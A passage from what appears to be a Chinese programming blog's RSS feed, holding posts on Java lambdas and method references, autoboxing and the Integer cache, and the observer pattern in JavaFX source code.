        this.val$i = var1;
    }

    public void accept(int value) {
        System.out.println(this.val$i);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这看起来就是直接把要捕获的变量，复制了一份进去...怪不得不能修改，不然改了就会内外不一致...难道不能引入词法作用域吗？看着java这啰嗦可靠的代码，估计还是为了，保持稳定可靠吧？（个人观点&lt;/p&gt;
&lt;h2&gt;继续瞎摸&lt;/h2&gt;
&lt;h3&gt;Stream类&lt;/h3&gt;
&lt;p&gt;学js的时候我了解到了Array有对应一些方法，可以很简便地对连续的数据结构进行处理，比如求和、筛选和映射&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var array = [1, 2, 3, 4, 5];

console.log(array.reduce((a, b) =&amp;gt; a + b)); // 15
console.log(array.filter(i =&amp;gt; i &amp;lt;= 3)); // [1, 2, 3]
console.log(array.map(x =&amp;gt; x * 2)); // [2, 4, 6, 8, 10]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如此简便的操作，我一直在想java有没有呢？最后发现了一个&lt;a href=&quot;https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/stream/package-summary.html&quot;&gt;Stream&lt;/a&gt;类，打开了新世界的大门。在java中也可以对数据进行类似的操作。如下面的例子，结果跟上面js的是一样的。最后使用&lt;code&gt;collect()&lt;/code&gt;方法来转换回List。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Test {
    public static void main(String[] args) {
        List&amp;lt;Integer&amp;gt; integers = List.of(1, 2, 3, 4, 5);

        int sum = integers.stream().reduce(0, (a, b) -&amp;gt; a + b); // 15
        List&amp;lt;Integer&amp;gt; list = integers.stream().filter(i -&amp;gt; i &amp;lt;= 3).collect(Collectors.toList()); // [1, 2, 3]
        List&amp;lt;Integer&amp;gt; list1 = integers.stream().map(x -&amp;gt; x * 2).collect(Collectors.toList()); // [1, 2, 3, 4, 5]
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，我又在上面发现了，这些方法里头有不同的对象。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public abstract T reduce(T identity, java.util.function.BinaryOperator&amp;lt;T&amp;gt; accumulator)
public abstract Stream&amp;lt;T&amp;gt; filter(java.util.function.Predicate&amp;lt;? super T&amp;gt; predicate)
public abstract &amp;lt;R&amp;gt; Stream&amp;lt;R&amp;gt; map(java.util.function.Function&amp;lt;? super T, ? extends R&amp;gt; mapper)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这又涉及到java8开始为Lambda所提供的的一个包&lt;code&gt;java.util.function&lt;/code&gt;了...它是用来给Lambda提供支持的，介绍是这样的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Functional interfaces provide target types for lambda expressions and method references. Each functional interface has a single abstract method, called the functional method for that functional interface, to which the lambda expression&apos;s parameter and return types are matched or adapted.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;来个简单的，就&lt;code&gt;Function&lt;/code&gt;来说说吧。进入&lt;code&gt;Function.java&lt;/code&gt;，我们可以看出，又是一个Functional Interface，因此我们可以往上面盖Lambda表达式或者&lt;strong&gt;方法引用&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;就像是这样(省略了一些default方法)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Represents a function that accepts one argument and produces a result.
 *
 * &amp;lt;p&amp;gt;This is a &amp;lt;a href=&quot;package-summary.html&quot;&amp;gt;functional interface&amp;lt;/a&amp;gt;
 * whose functional method is {@link #apply(Object)}.
 *
 * @param &amp;lt;T&amp;gt; the type of the input to the function
 * @param &amp;lt;R&amp;gt; the type of the result of the function
 *
 * @since 1.8
 */
@FunctionalInterface
public interface Function&amp;lt;T, R&amp;gt; {

    /**
     * Applies this function to the given argument.
     *
     * @param t the function argument
     * @return the function result
     */
    R apply(T t);

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;比如我们可以用来determine一个String的长度。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Lambda expression
Function&amp;lt;String, Integer&amp;gt; function = s -&amp;gt; s.length();

function.apply(&quot;114514&quot;); // 6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的&lt;code&gt;apply()&lt;/code&gt;把&quot;114514&quot;传了进去。同理这个包里面的其他类也可以这么用，比如&lt;code&gt;BiFunction&lt;/code&gt;，意思就是有两个参数的函数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BiFunction&amp;lt;String, String, Integer&amp;gt; function = (s1, s2) -&amp;gt; s1.compareTo(s2);
function.apply(&quot;114514&quot;, &quot;1919810&quot;); // -8
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;方法引用&lt;/h3&gt;
&lt;p&gt;然后万能的IDEA IDE又告诉我，可以使用方法引用来代替Lambda表达式(???)试了一下，发现是这样子的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Function&amp;lt;String, Integer&amp;gt; function = String::length;
BiFunction&amp;lt;String, String, Integer&amp;gt; function = String::compareTo;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看起来就像是把String里面的&lt;code&gt;length()&lt;/code&gt;和&lt;code&gt;compareTo(String s)&lt;/code&gt;方法给“引用”了过来。我一一观察，return type一样，但是...参数不一样啊...都是少了一个参数，但是一些static方法又是可以一一对应上去的...&lt;/p&gt;
&lt;p&gt;那我们把这个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BiFunction&amp;lt;String, String, Integer&amp;gt; function = String::compareTo;
function.apply(&quot;114514&quot;, &quot;1919810&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;javap一下，得到字节码，我发现了这个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;invokedynamic #2,  0              // InvokeDynamic #0:apply:()Ljava/util/function/BiFunction;

BootstrapMethods:
0: #27 REF_invokeStatic java/lang/invoke/LambdaMetafactory.metafactory:(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;emm之前没有了解过JVM的instruction。甚至还有一个我从没见过的类&lt;code&gt;LambdaMetafactory&lt;/code&gt;。看了看&lt;a href=&quot;https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/invoke/LambdaMetafactory.html&quot;&gt;java doc&lt;/a&gt;，有如下的说明。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Methods to facilitate the creation of simple &quot;function objects&quot; that implement one or more interfaces by delegation to a provided MethodHandle, possibly after type adaptation and partial evaluation of arguments. These methods are typically used as bootstrap methods for invokedynamic call sites, to support the lambda expression and method reference expression features of the Java Programming Language.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;知道了Lambda的内部用的是&lt;code&gt;MethodHandle&lt;/code&gt;，还知道了&lt;code&gt;invokedynamic&lt;/code&gt;指令会调用BSM来生成一个Call Site...（真的是盲区），然后&lt;code&gt;implMethod&lt;/code&gt;就是对应interface的implementation了。&lt;/p&gt;
&lt;p&gt;所以我等零专业基础菜狗只能在IDE里面在这个方法上打断点试试了。最后Debug试出了这个&lt;/p&gt;
&lt;p&gt;&lt;code&gt;instantiatedMethodType: &quot;(String, String)int&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;嗯？直接多出一个参数？再仔细看看文档...&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;implMethod (the MethodHandle providing the implementation has M parameters, of types (A1..Am) and return type Ra (if the method describes an &lt;strong&gt;instance method&lt;/strong&gt;, the method type of this method handle already &lt;strong&gt;includes an extra first argument&lt;/strong&gt; corresponding to the receiver);&lt;/p&gt;
&lt;p&gt;instantiatedMethodType (allowing restrictions on invocation) has N parameters, of types (T1..Tn) and return type Rt.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也就是说，如果是实例方法的话，就会在首位加多一个argument（就是把this作为了第一个参数），而静态方法就是原来的样子了。&lt;/p&gt;
&lt;p&gt;那么，刚刚的方法引用&lt;code&gt;String::compareTo&lt;/code&gt;就很好解释了，&lt;code&gt;compareTo(String s)&lt;/code&gt;是一个实例方法，因此来到这里，他的签名就变成&lt;code&gt;(String, String)int&lt;/code&gt;了。（这里绑定到第一个参数的this是&lt;code&gt;::&lt;/code&gt;前面的&lt;code&gt;String&lt;/code&gt;，但，如果是&lt;code&gt;&quot;dssq&quot;::compareTo&lt;/code&gt;的话，这里的this就是&lt;code&gt;&quot;dssq&quot;&lt;/code&gt;了，签名就是&lt;code&gt;(String)int&lt;/code&gt;（因为前面的this已经绑定了，不能改变了，所以签名就是这样了）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Function&amp;lt;String, Integer&amp;gt; function = &quot;dssq&quot;::compareTo;
function.apply(&quot;114514&quot;); //51
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以方法引用，静态方法的引用的方法签名是一样的。实例方法就要看情况，普通的情况，拿&lt;code&gt;compareTo&lt;/code&gt;来讲，签名是&lt;code&gt;(String, String)int&lt;/code&gt;实际上就是相当于这样: &lt;code&gt;this.compareTo(String s)&lt;/code&gt;（this位于第一个位）&lt;/p&gt;
&lt;p&gt;后面的内容因为有点盲区，都是现卖，如果有错请指出！&lt;/p&gt;
&lt;h2&gt;学过其他语言后&lt;/h2&gt;
&lt;p&gt;学过其他的语言如groovy / js。才发现，似乎是因为java很面向对象，所以将Lambda表达式也是类。在其他语言里头，Lambda或许不叫Lambda而是叫closure（闭包）。js里头的函数，就直接是个类型，是一等公民（&lt;/p&gt;
&lt;p&gt;Lambda和闭包在编程语言中一般是&lt;strong&gt;一小块代码&lt;/strong&gt;，也就是叫做匿名函数。我觉得它们带来了一些便利——不需要为实现一个小功能而去额外定义一个函数。给coding带来了方便。&lt;/p&gt;
&lt;p&gt;正是因为这样，所以用Lambda和闭包的时候最好要根据实际情况来使用。实现匿名类的话，如果Lambda能清晰表明你要做的东西就用（比如说上面提到的Stream），不能的话还是直接写匿名类吧（因为可以带来更加易读的代码）。这句话是我的想法，不知其他人的想法是怎么样的。&lt;/p&gt;
</content:encoded><category>Java</category></item><item><title>浅谈Java的装箱与拆箱</title><link>https://situ2001.com/blog/java/primitive-type-wrapper-class/</link><guid isPermaLink="true">https://situ2001.com/blog/java/primitive-type-wrapper-class/</guid><description>浅谈Java的装箱与拆箱</description><pubDate>Fri, 22 Jan 2021 08:48:49 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;基操，见得多了，只不过之前没往里头摸。行文诡异，可能错漏百出，也许为午后昏睡过久所致。&lt;/p&gt;
&lt;p&gt;众所周知，在Java中，有primitive type和wrapper class。它们之间可以相互转化。比如下面的代码是合法的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Integer integer = 114;
int i = integer;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Java的官方也有如下的说明&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Autoboxing is the automatic conversion that the Java &lt;strong&gt;compiler&lt;/strong&gt; makes between the primitive types and their corresponding object wrapper classes. For example, converting an int to an Integer, a double to a Double, and so on. If the conversion goes the other way, this is called unboxing.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这里可以看到一个关键的部分&lt;code&gt;the Java compiler makes&lt;/code&gt;，也就是说这个拆箱与装箱的过程，是编译器帮忙做的。&lt;/p&gt;
&lt;p&gt;回想一下之前学校教C++的时候讲到了引用，老师只把它比喻为“分身”，并叫我们记住。而这个似乎可以通过反汇编看出来，如下，编译器为MSVC。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    int i = 114514;
00D91842  mov         dword ptr [i],1BF52h  
    int&amp;amp; j = i;
00D91849  lea         eax,[i]  //将i的地址放入寄存器eax中
00D9184C  mov         dword ptr [j],eax   //将此时寄存器eax的内容移到j的值中
    j = 1919;
00D9184F  mov         eax,dword ptr [j]  //将j的值送入eax中
00D91852  mov         dword ptr [eax],77Fh  //将1919移入i中
    int *const pi = &amp;amp;i;
00D91858  lea         eax,[i]  
00D9185B  mov         dword ptr [pi],eax  
    *pi = 810;
00D9185E  mov         eax,dword ptr [pi]  
00D91861  mov         dword ptr [eax],32Ah 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看出引用其实相当于是语法糖，底层实现其实是一个指针常量？（C++没去学太多，有错请指出）&lt;/p&gt;
&lt;p&gt;那么Java的这个自动装拆箱机制，是否也可以通过反汇编来得到答案呢？答案是能的，经过一番查找我找到了javap这个工具，是用来对Class文件进行反汇编的。&lt;/p&gt;
&lt;p&gt;它的基本用法就是这样咯，参数带个&lt;code&gt;-c&lt;/code&gt;就可以对class文件进行反编译了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Usage: javap &amp;lt;options&amp;gt; &amp;lt;classes&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么现在就可以对开头的文件操作了，反汇编之后得到如下结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Compiled from &quot;Test.java&quot;
public class test.Test {
  public test.Test();
    Code:
       0: aload_0
       1: invokespecial #1                  // Method java/lang/Object.&quot;&amp;lt;init&amp;gt;&quot;:()V
       4: return

  public static void main(java.lang.String[]);
    Code:
       0: bipush        114
       2: invokestatic  #2                  // Method java/lang/Integer.valueOf:(I)Ljava/lang/Integer;
       5: astore_1
       6: aload_1
       7: invokevirtual #3                  // Method java/lang/Integer.intValue:()I
      10: istore_2
      11: return
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从输出的注释中可以明显看出，在初始化Integer变量的时候，调用了&lt;code&gt;valueOf()&lt;/code&gt;方法，而在将integer赋值给i的时候，又调用了&lt;code&gt;intValue()&lt;/code&gt;方法。&lt;/p&gt;
&lt;p&gt;嗯，这就是所谓的拆箱装箱了，&lt;s&gt;显然，这是一个平淡无味的语法糖&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;那么问题又来了，为什么是用了&lt;code&gt;valueOf()&lt;/code&gt;方法而不是直接&lt;code&gt;new Integer(114)&lt;/code&gt;呢？初学的时候我以为不了解，感觉java这做法是在脱裤子放屁。但直到我看了&lt;code&gt;Integer.java&lt;/code&gt;的源码...&lt;/p&gt;
&lt;p&gt;先是constructor，甚至已经是不建议使用，而是建议使用&lt;code&gt;valueOf()&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
* Constructs a newly allocated {@code Integer} object that
* represents the specified {@code int} value.
*
* @param   value   the value to be represented by the
*                  {@code Integer} object.
*
* @deprecated
* It is rarely appropriate to use this constructor. The static factory
* {@link #valueOf(int)} is generally a better choice, as it is
* likely to yield significantly better space and time performance.
*/
@Deprecated(since=&quot;9&quot;)
public Integer(int value) {
this.value = value;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那我继续定位到方法&lt;code&gt;valueOf()&lt;/code&gt;下，发现了这么些东西&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Returns an {@code Integer} instance representing the specified
 * {@code int} value.  If a new {@code Integer} instance is not
 * required, this method should generally be used in preference to
 * the constructor {@link #Integer(int)}, as this method is likely
 * to yield significantly better space and time performance by
 * caching frequently requested values.
 *
 * This method will always cache values in the range -128 to 127,
 * inclusive, and may cache other values outside of this range.
 *
 * @param  i an {@code int} value.
 * @return an {@code Integer} instance representing {@code i}.
 * @since  1.5
 */
@HotSpotIntrinsicCandidate
public static Integer valueOf(int i) {
    if (i &amp;gt;= IntegerCache.low &amp;amp;&amp;amp; i &amp;lt;= IntegerCache.high)
        return IntegerCache.cache[i + (-IntegerCache.low)];
    return new Integer(i);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到有一个inner class &lt;code&gt;IntegerCache&lt;/code&gt;，再次定位。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Cache to support the object identity semantics of autoboxing for values between
 * -128 and 127 (inclusive) as required by JLS.
 *
 * The cache is initialized on first usage.  The size of the cache
 * may be controlled by the {@code -XX:AutoBoxCacheMax=&amp;lt;size&amp;gt;} option.
 * During VM initialization, java.lang.Integer.IntegerCache.high property
 * may be set and saved in the private system properties in the
 * jdk.internal.misc.VM class.
 */

private static class IntegerCache {
    static final int low = -128;
    static final int high;
    static final Integer[] cache;
    static Integer[] archivedCache;

    static {
        // high value may be configured by property
        int h = 127;
        String integerCacheHighPropValue =
            VM.getSavedProperty(&quot;java.lang.Integer.IntegerCache.high&quot;);
        if (integerCacheHighPropValue != null) {
            try {
                int i = parseInt(integerCacheHighPropValue);
                i = Math.max(i, 127);
                // Maximum array size is Integer.MAX_VALUE
                h = Math.min(i, Integer.MAX_VALUE - (-low) -1);
            } catch( NumberFormatException nfe) {
                // If the property cannot be parsed into an int, ignore it.
            }
        }
        high = h;

        // Load IntegerCache.archivedCache from archive, if possible
        VM.initializeFromArchive(IntegerCache.class);
        int size = (high - low) + 1;

        // Use the archived cache if it exists and is large enough
        if (archivedCache == null || size &amp;gt; archivedCache.length) {
            Integer[] c = new Integer[size];
            int j = low;
            for(int k = 0; k &amp;lt; c.length; k++)
                c[k] = new Integer(j++);
            archivedCache = c;
        }
        cache = archivedCache;
        // range [-128, 127] must be interned (JLS7 5.1.7)
        assert IntegerCache.high &amp;gt;= 127;
    }

    private IntegerCache() {}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;啊这，为了获得更好的性能，在初始化的时候，VM就直接把[-128, 127]的整数初始化一遍放入&lt;code&gt;cache&lt;/code&gt;数组里啊。怪不得不用constructor新建Integer对象而是用&lt;code&gt;valueOf()&lt;/code&gt;啊...&lt;/p&gt;
&lt;p&gt;那么对于之前的一些奇奇怪怪的问题如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Integer a = 114;
Integer b = 114;
Integer c = 514;
Integer d = 514;

// a == b is true
// c == d is false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这类的，就很好解释了。因为有-127~128的整数有缓存，所以a和b引用的，都是同一个对象。而c和d调用&lt;code&gt;valueOf()&lt;/code&gt;的时候，都是new出一个新对象。&lt;/p&gt;
&lt;p&gt;既然Integer是这个样子，那么Boolean会不会更是这个样子，因为bool类型也就一个true和false。验证发现果然如此&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * The {@code Boolean} object corresponding to the primitive
 * value {@code true}.
 */
public static final Boolean TRUE = new Boolean(true);

/**
 * The {@code Boolean} object corresponding to the primitive
 * value {@code false}.
 */
public static final Boolean FALSE = new Boolean(false);
/**
 * Returns a {@code Boolean} instance representing the specified
 * {@code boolean} value.  If the specified {@code boolean} value
 * is {@code true}, this method returns {@code Boolean.TRUE};
 * if it is {@code false}, this method returns {@code Boolean.FALSE}.
 * If a new {@code Boolean} instance is not required, this method
 * should generally be used in preference to the constructor
 * {@link #Boolean(boolean)}, as this method is likely to yield
 * significantly better space and time performance.
 *
 * @param  b a boolean value.
 * @return a {@code Boolean} instance representing {@code b}.
 * @since  1.4
 */
@HotSpotIntrinsicCandidate
public static Boolean valueOf(boolean b) {
    return (b ? TRUE : FALSE);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Character&lt;/code&gt;类也是这样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Returns a {@code Character} instance representing the specified
 * {@code char} value.
 * If a new {@code Character} instance is not required, this method
 * should generally be used in preference to the constructor
 * {@link #Character(char)}, as this method is likely to yield
 * significantly better space and time performance by caching
 * frequently requested values.
 *
 * This method will always cache values in the range {@code
 * &apos;\u005Cu0000&apos;} to {@code &apos;\u005Cu007F&apos;}, inclusive, and may
 * cache other values outside of this range.
 *
 * @param  c a char value.
 * @return a {@code Character} instance representing {@code c}.
 * @since  1.5
 */
@HotSpotIntrinsicCandidate
public static Character valueOf(char c) {
    if (c &amp;lt;= 127) { // must cache
        return CharacterCache.cache[(int)c];
    }
    return new Character(c);
}
/**
 * Constructs a newly allocated {@code Character} object that
 * represents the specified {@code char} value.
 *
 * @param  value   the value to be represented by the
 *                  {@code Character} object.
 *
 * @deprecated
 * It is rarely appropriate to use this constructor. The static factory
 * {@link #valueOf(char)} is generally a better choice, as it is
 * likely to yield significantly better space and time performance.
 */
@Deprecated(since=&quot;9&quot;)
public Character(char value) {
    this.value = value;
}

private static class CharacterCache {
    private CharacterCache(){}

    static final Character cache[] = new Character[127 + 1];

    static {
        for (int i = 0; i &amp;lt; cache.length; i++)
            cache[i] = new Character((char)i);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，虽然这篇文章是我军训结束后昏睡一下午起床才写的，涉及到的内容也是相当基础和简单。&lt;/p&gt;
&lt;p&gt;但是有时候，你不去摸摸源码的实现，你也比较难理解原理。（比如&lt;code&gt;String&lt;/code&gt;里的&lt;code&gt;compareTo()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但是他给我启示：学习嘛，学有余力的话，&lt;strong&gt;有的时候&lt;/strong&gt;往往可以往深钻一下子的。还有就是要学会一些工具的使用之类的啦，要学会实际问题实际分析&lt;/p&gt;
&lt;p&gt;(&lt;s&gt;上面一行完全是我自己憋的尴尬套话&lt;/s&gt;)&lt;/p&gt;
</content:encoded><category>Java</category></item><item><title>JavaFX与观察者模式</title><link>https://situ2001.com/blog/design-pattern/jfx-observer-pattern/</link><guid isPermaLink="true">https://situ2001.com/blog/design-pattern/jfx-observer-pattern/</guid><description>JavaFX与观察者模式</description><pubDate>Wed, 13 Jan 2021 21:14:19 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;大一菜鸡，竟敢作死读源码&lt;/p&gt;
&lt;p&gt;本文中的JavaFX版本号为&lt;code&gt;11.0.9&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;写在前面&lt;/h2&gt;
&lt;p&gt;最近的军训真的又干燥又冷，我感到十分不舒服。不过军训的中午，拥有长达两个钟的吃饭与休息时间。闲来无事，我就捡起了好两个星期没有接触的Java（这两个星期游戏+复习+发烧，时间都没耗光了）&lt;/p&gt;
&lt;p&gt;那么言归正传，之前我学了并会在一些简单的实际应用中使用Java的OOP，并了解到了一些设计模式。最近又想了解一下Observer Pattern（观察者模式），那么我能否通过阅读我所熟练使用的JavaFX源码来了解这个设计模式呢？&lt;/p&gt;
&lt;h2&gt;上手之前&lt;/h2&gt;
&lt;p&gt;“知己知彼，百战百胜。”这句话还是一样重要，所以我先去找了下观察者模式的解释。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;定义对象间的一种一对多的依赖关系，当一个对象的状态发生改变时，所有依赖于它的对象都得到通知并被自动更新。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;通俗地讲，就是对象在更新的时候，顺便通知其他对象，从而使得其他对象得到更新？&lt;/p&gt;
&lt;p&gt;我写了一段使用JavaFX代码，运行后，窗口中的宽度与高度大小信息都会随着窗体的大小变化而更新。如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import javafx.application.Application;
import javafx.beans.InvalidationListener;
import javafx.beans.Observable;
import javafx.beans.property.ReadOnlyDoubleProperty;
import javafx.geometry.Pos;
import javafx.scene.Scene;
import javafx.scene.layout.VBox;
import javafx.scene.text.Text;
import javafx.stage.Stage;

public class JavaFXBinding extends Application {
    @Override
    public void start(Stage primaryStage) throws Exception {
        VBox pane = new VBox(5);
        Text textWidth = new Text();
        Text textHeight = new Text();
        pane.getChildren().addAll(textHeight, textWidth);
        pane.setAlignment(Pos.CENTER);

        //set invalidation listener
        primaryStage.widthProperty().addListener(new InvalidationListener() {
            @Override
            public void invalidated(Observable observable) {
                String width = String.format(&quot;Width: %.2f&quot;, ((ReadOnlyDoubleProperty)observable).get());
                textHeight.setText(width);
            }
        });
        primaryStage.heightProperty().addListener(new InvalidationListener() {
            @Override
            public void invalidated(Observable observable) {
                String height = String.format(&quot;Height: %.2f&quot;, ((ReadOnlyDoubleProperty)observable).get());
                textWidth.setText(height);
            }
        });

        Scene scene = new Scene(pane);
        primaryStage.setTitle(&quot;TEST&quot;);
        primaryStage.setScene(scene);
        primaryStage.show();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且有使用IDEA IDE&lt;/p&gt;
&lt;h2&gt;盲目分析&lt;/h2&gt;
&lt;p&gt;可以看出，窗口里头&lt;code&gt;Text&lt;/code&gt;的字符串变换是通过这一段代码实现的。这里以Width（窗体宽度）来说。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;primaryStage.widthProperty().addListener(new InvalidationListener() {
    @Override
    public void invalidated(Observable observable) {
        String width = String.format(&quot;Width: %.2f&quot;, ((ReadOnlyDoubleProperty)observable).get());
        textHeight.setText(width);
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从这段代码来看，应该是通过invoke &lt;code&gt;widthProperty()&lt;/code&gt;来获取&lt;code&gt;primaryStage&lt;/code&gt;这个对象里头的&lt;code&gt;ReadOnlyDoubleProperty&lt;/code&gt;宽度width，然后对其invoke &lt;code&gt;addListener(javafx.beans.InvalidationListener listener)&lt;/code&gt;方法来添加listener。&lt;/p&gt;
&lt;p&gt;那我们先跳转到&lt;code&gt;primaryStage&lt;/code&gt;这个对象的&lt;code&gt;widthProperty()&lt;/code&gt;方法所在位置。&lt;/p&gt;
&lt;p&gt;我们在&lt;code&gt;javafx.stage.Windows&lt;/code&gt;类下发现了这个，并根据上下文，再复制了其他的片段，如下所示。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private ReadOnlyDoubleWrapper width = new ReadOnlyDoubleWrapper(this, &quot;width&quot;, Double.NaN);

public final ReadOnlyDoubleProperty widthProperty() { 
    return width.getReadOnlyProperty(); 
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里出现了不同的两个类型，并且里面涉及到的方法又去到了其他的类，查了一下jfx的文档，发现了类之间的继承关系如下。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Class ReadOnlyDoubleWrapper
java.lang.Object
javafx.beans.binding.NumberExpressionBase
javafx.beans.binding.DoubleExpression
javafx.beans.property.ReadOnlyDoubleProperty
javafx.beans.property.DoubleProperty
javafx.beans.property.DoublePropertyBase
javafx.beans.property.SimpleDoubleProperty
javafx.beans.property.ReadOnlyDoubleWrapper

All Implemented Interfaces:
NumberExpression, Observable, Property&amp;lt;Number&amp;gt;, ReadOnlyProperty&amp;lt;Number&amp;gt;, ObservableDoubleValue, ObservableNumberValue, ObservableValue&amp;lt;Number&amp;gt;, WritableDoubleValue, WritableNumberValue, WritableValue&amp;lt;Number&amp;gt;

public abstract class ReadOnlyDoubleProperty extends DoubleExpression implements ReadOnlyProperty&amp;lt;Number&amp;gt;
public class ReadOnlyDoubleWrapper extends SimpleDoubleProperty
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;由上可见，&lt;code&gt;ReadOnlyDoubleProperty&lt;/code&gt;是一个抽象类，而&lt;code&gt;ReadOnlyDoubleWrapper&lt;/code&gt;是一个concrete的实实在在的类。通过下面的分析可以查出，一个&lt;code&gt;ReadOnlyDoubleWrapper&lt;/code&gt;是如何被construct的。&lt;/p&gt;
&lt;p&gt;我们首先在&lt;code&gt;ReadOnlyDoubleWrapper&lt;/code&gt;的constructor里头发现了&lt;code&gt;with-arg&lt;/code&gt;的&lt;code&gt;super()&lt;/code&gt;，也就是说它显示地invoke了父类的constructor。父类里的constructor也是如此的操作，直到来到了类&lt;code&gt;DoublePropertyBase&lt;/code&gt;才停了下来。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//class ReadOnlyDoubleWrapper
public ReadOnlyDoubleWrapper(Object bean, String name,
        double initialValue) {
    super(bean, name, initialValue);
}

//class SimpleDoubleProperty
public SimpleDoubleProperty(Object bean, String name, double initialValue) {
    super(initialValue);
    this.bean = bean;
    this.name = (name == null) ? DEFAULT_NAME : name;
}
//class DoublePropertyBase
public DoublePropertyBase(double initialValue) {
    this.value = initialValue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么，最后返回的是个什么对象？仔细地查看了一下如下的代码，发现这是通过一个私有类&lt;code&gt;ReadOnlyPropertyImpl&lt;/code&gt;将一个可写的property转化为了一个只读的property&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private ReadOnlyPropertyImpl readOnlyProperty;

public ReadOnlyDoubleProperty getReadOnlyProperty() {
    if (readOnlyProperty == null) {
        readOnlyProperty = new ReadOnlyPropertyImpl();
    }
    return readOnlyProperty;
}

private class ReadOnlyPropertyImpl extends ReadOnlyDoublePropertyBase {

    @Override
    public double get() {
        return ReadOnlyDoubleWrapper.this.get();
    }

    @Override
    public Object getBean() {
        return ReadOnlyDoubleWrapper.this.getBean();
    }

    @Override
    public String getName() {
        return ReadOnlyDoubleWrapper.this.getName();
    }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个私有类的继承关系如下，为了更好看，我去IDEA上生成了关系图&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Class ReadOnlyDoublePropertyBase
java.lang.Object
javafx.beans.binding.NumberExpressionBase
javafx.beans.binding.DoubleExpression
javafx.beans.property.ReadOnlyDoubleProperty
javafx.beans.property.ReadOnlyDoublePropertyBase
